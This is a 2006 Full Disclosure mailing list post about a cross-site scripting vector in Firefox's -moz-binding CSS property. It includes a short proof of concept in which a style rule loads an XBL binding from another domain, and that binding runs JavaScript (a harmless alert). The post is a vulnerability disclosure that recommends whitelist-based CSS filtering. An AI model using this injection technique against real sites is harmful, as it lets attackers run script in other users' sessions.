Full Disclosure mailing list archives
-moz-binding CSS property: more XSS fun
From: Nikolas Coukouma <lists () atrus org>
Date: Sat, 28 Jan 2006 15:11:21 -0500
Hm, I haven't seen this posted here ...Firefox now supports the -moz-binding CSS property, which associate XBL[1] with an element. The same origin policy is not applied. This is a problem because XBL may contain JavaScript and it runs with full access to content.
There is a bug report[2] filed, but it seems unlikely that it will be fixed anytime soon.
This is a good time to consider using a CSS parser and whitelist to filter style tags and attributes.
I've included a very simple example below. Cheers, -Nikolas [1] http://www.mozilla.org/projects/xbl/xbl.html [2] https://bugzilla.mozilla.org/show_bug.cgi?id=324253 http://domain1/path/to/page.html : <html> <head> <style> body { -moz-binding: url("http://domain2/path/to/xbl.xml#xss"); } </style> </head> <body> </body> </html> http://domain2/path/to/xbl.xml :<?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl"
xmlns:html="http://www.w3.org/1999/xhtml"> <binding id="xss"> <implementation> <constructor> alert("XBL XSS"); </constructor> </implementation> </binding> </bindings> _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- -moz-binding CSS property: more XSS fun Nikolas Coukouma (Jan 28)